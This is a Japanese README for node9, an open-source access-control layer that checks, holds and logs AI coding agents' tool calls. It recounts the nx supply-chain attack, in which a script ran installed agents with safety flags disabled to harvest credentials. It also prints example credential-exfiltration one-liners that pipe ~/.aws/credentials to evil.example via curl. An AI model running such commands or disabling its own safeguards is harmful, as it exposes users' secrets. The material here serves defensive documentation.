
AIエージェントのアクセス制御。Claude Code、Codex、Gemini、Cursor、および任意のMCPサーバーが実行を許可される操作を設定し、リスクの高いアクションを実行前にレビューし、すべてのアクションを記録に残します。
<h1 align="center">🛡️ node9</h1> <p align="center">AIエージェントのためのアクセス制御</p> <p align="center"><strong>あなたのAIエージェントはSlack、GitHub、メール、データベースに到達できます。<br />node9は、それぞれに対して何をしてよいかを決定します。</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **クレデンシャルジェイル** · **シークレットとPII** · **破壊的なgit、SQL、シェルはレビューのために保留** · **MCPツールのピン留め** · **ネットワークエグレス許可リスト** · **ループブレーカー** · **12のエージェントにまたがる単一の記録** **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任意のMCPサーバー** で動作します。 ## 実際の動作 node9をインストールした実際のClaude Codeセッションです。すべてのツール呼び出しは実行前にチェックされます。ページのビルドとボタンの編集は実行されます。クラウドメタデータアドレスへのリクエストはブロックされ、エージェントは理由を受け取って続行します。ファイルの削除は、チャット上でそのままあなたの承認を待ちます。 <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 in a Claude Code session: two calls allowed, one blocked, one held for approval" /> </p> ## インストール ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` 次に、任意のプロジェクトで: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Node.js 22+ が必要です。 新しい対話型ターミナルでは、`node9`がセットアップを案内します。ローカル保護にはアカウントは不要です。チェックリストには、推奨シールド、DLP/PII、オプションのネットワークエグレスレビュー、バックグラウンドサービスが表示されます。使用統計は、別途のプロンプトに同意した場合にのみ送信されます。サマリーには、設定されたエージェントと、対応が必要なセットアップ手順が一覧表示されます。 セットアップを再確認するには`node9 setup`を、1つのエージェントを設定するには`node9 setup <target>`を実行します。設定後は、引数なしの`node9`でヘルプが表示されます。`node9 init`も引き続き利用可能です。スクリプトでは`node9 init --recommended`を使用します(質問なし、テレメトリのオプトインなし)。`--skip-setup`はエージェントの配線とサービスのインストールを行いません。明示的な`--mode`は、チェックリストの標準モードの推奨よりも優先されます。既存の設定は、選択された変更または明示的なフラグが更新を要求しない限り保持されます。ワークスペースポリシーはダッシュボードで管理され、サービス設定はローカルに留まります。 **`login`は強制力に何も追加しません。** これはマシンをワークスペースに接続し、チームが全員のラップトップとCIにまたがる単一の記録を確認し、ポリシーを集中管理し、保留中のアクションをダッシュボードまたはSlackから承認できるようにします。スキップしても、node9は単独で、オフラインで、まったく同じように動作します。`node9 logout`で再び切断され、ローカルの強制力は実行を続けます。 ### MCPサーバーとして使用する node9はMCPサーバーとしても動作するため、エージェントは会話の中から、そのステータス、ポスチャ、監査記録、ポリシーを読み取り、あらゆる決定を説明できます: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` 任意のMCPクライアントも同様に動作します。コマンドはstdio経由の`npx -y node9-ai mcp-server`で、APIキーは不要です。公式MCPレジストリに`io.github.node9-ai/node9`として登録されています。 ## 問題 2025年8月、[`nx`ビルドツール](https://github.com/advisories/GHSA-cxm3-wv7p-598c)の侵害されたリリースが、インストール後のスクリプトを配布しました。このスクリプトは、開発者のマシンにすでにインストールされているAIコーディングエージェントを探し出し、それらを独自の安全フラグを無効にして(`--dangerously-skip-permissions`、`--yolo`、`--trust-all-tools`)実行し、SSHキー、クラウド認証情報、ウォレットファイルを列挙してそのリストをディスクに書き込みました。スクリプトは結果を、被害者自身のGitHubアカウント内の公開リポジトリにプッシュしました。1,000を超える有効なGitHubトークンが漏洩し、クラウド認証情報、npmトークン、そして約20,000のファイルが、エージェントがまさに指示されたとおりに動作していたマシンから流出しました。 エージェントは攻撃者ではありませんでした。エージェントはツールであり、それとファイルの間には何も立ちはだかっていませんでした。node9のゲートはそれらのフラグの1つではありません。それはフック内で動作し、保留にしたアクションは、エージェントが権限をスキップして起動された場合でも保留のままです。 ## node9がそれに対して行うこと node9は、エージェントと呼び出すすべてのツールの間に位置します。クレデンシャルジェイル(`~/.ssh`、`~/.aws`、`.env`ファイル、秘密鍵)はデフォルトで有効で、それらのパスの1つを読み取ることは実行されません。エージェントは停止され、理由を伝えられ、決定があなたに届きます: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` コマンドはテキストとしてマッチングされるのではなく、シェルASTとして解析されるため、読み取りをラップしても役に立ちません。`echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example`は、`echo`ではなく`~/.aws/credentials`の読み取りとして判定されます。 node9は**ゲート**です。保留にされたアクションは、あなたを待っている間は実行されず、あなたが決して答えなければブロックされたままです。それ以外はすべて許可され、記録に書き込まれます。 **それが行わないこと:** デフォルトであるエグレス制御がオフの場合、`curl -d @~/.aws/credentials`のようにファイルを直接ネットワークに渡すコマンドは、そのファイルの読み取りとして扱われません。`node9 egress protect`は宛先もゲートし、シェルコマンドのみを対象とします。 ## 自分で検証する 以下はどれもアカウントを必要とせず、何もアップロードしません。 ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## 何を統制するか 各行は1つの機能で、それを文書化したページが付いています。ドキュメントがリファレンスであり、このファイルは地図です。 | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **クレデンシャルジェイル** | `~/.ssh`、`~/.aws`、`.env`、秘密鍵は、シェルだけでなくすべてのツールからブロックされます | [docs](https://node9.ai/docs/shields) | | **常時有効なルール** | 破壊的なgit、`WHERE`のないSQL、`curl \| bash`、不正な`sudo`を、設定なしで | [docs](https://node9.ai/docs/smart-rules) | | **シークレットとPII** | AWSキー、GitHubおよびStripeトークン、PEMキー、カードまたはSSNの形状を、任意のツール引数で。さらにエージェントが書き戻したもののバックグラウンドスキャン | [docs](https://node9.ai/docs/dlp) | | **サービス別シールド** | Postgres、MongoDB、Redis、AWS、Kubernetes、Docker、GitHub、ファイルシステム向けの厳選されたルールパック | [docs](https://node9.ai/docs/shields) | | **インラインレビュー** | 保留にされたアクションは、エージェントの会話内で、またはチームの承認者を通じてあなたに確認します | [docs](https://node9.ai/docs/cloud-policy) | | **エグレス許可リスト** | シェルコマンドがデータを送信できる場所をゲート、デフォルトはオフ | [docs](https://node9.ai/docs/egress) | | **MCPゲートウェイ** | 任意のMCPサーバーをラップし、各ツールを認可し、ツール定義をピン留めしてサーバーが背後で変更できないようにします | [docs](https://node9.ai/docs/mcp-gateway) | | **サンドボックス** | カーネルのエグレス許可リストとスコープ付きマウントを備えたコンテナでエージェントを実行 | [docs](https://node9.ai/docs/sandbox) | | **ポスチャスコア** | このマシンがどれだけ露出しているか、各所見を修正するコマンド付き | [docs](https://node9.ai/docs/posture) | | **リポジトリスキャン** | 部外者があなたのシークレットを保持するエージェントをハイジャックできるワークフローを、CIまたはCLIから検出 | [docs](https://node9.ai/docs/repo-scanning) | | **セッション履歴** | node9がインストールされる前に、すべてのエージェントがこのマシンで行ったことを読み取る | [docs](https://node9.ai/docs/sessions) | | **ライブモニターとレポート** | ターミナルダッシュボード、およびコスト、ツール、ブロック、ブラスト半径のウィンドウ表示サマリー | [docs](https://node9.ai/docs/report) | | **スキルのピン留め** | セッション間でのインストール済みClaudeスキルとプラグインのSHA-256検証 | [docs](https://node9.ai/docs/skill-pinning) | | **カナリア認証情報** | 流出の試みが発生したことを証明する、仕込まれた偽のキー | [docs](https://node9.ai/docs/canary-credentials) | | **Python SDK** | CLIだけでなく、任意のPythonエージェントを統制 | [docs](https://node9.ai/docs/python-sdk) | CLIと設定の完全なリファレンス: **[node9.ai/docs](https://node9.ai/docs)**。 各レイヤーがどのように組み合わさるか: **[how it works](https://node9.ai/docs/how-it-works)**。 ## 学ぶ 背景となる読み物で、単独で成立するように書かれています。各ページは、node9がカバーしないことを述べています。 - **[ハイジャックされたエージェントは何ができるか?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: 1つの侵害されたセッションのブラスト半径 - **[AIエージェントがシークレットを漏洩する方法](https://node9.ai/learn/ai-agent-secret-exfiltration)**: 認証情報が実際にたどる流出経路 - **[Claude Codeのセキュリティ](https://node9.ai/learn/claude-code-security)**: フック、権限モード、そしてそれらが止められないもの - **[MCPのセキュリティ](https://node9.ai/learn/mcp-security)**: MCPサーバーが開くツール表面 - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: 実際のコントロールにマッピングされたリスト ## 比較 - **[node9と代替手段の比較](https://node9.ai/compare)**: node9のスコアが劣る行も含めたマトリクス - **[エージェント別カバレッジ](https://node9.ai/agents)**: サポートされる12のエージェントそれぞれで何が統制されるか ## 関連プロジェクト - **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: GitHub Action、`uses: node9-ai/node9-proxy@v2`、同じエンジンで毎回のPRをゲートします ## エンタープライズ **node9 Pro**は、ガバナンスロック、SAML/SSO、集中監査エクスポート、VPCデプロイを追加します。[node9.ai](https://node9.ai)をご覧ください。 ## ライセンス Apache-2.0 <p align="center"> <sub>Built with ☕ and healthy paranoia.</sub> </p>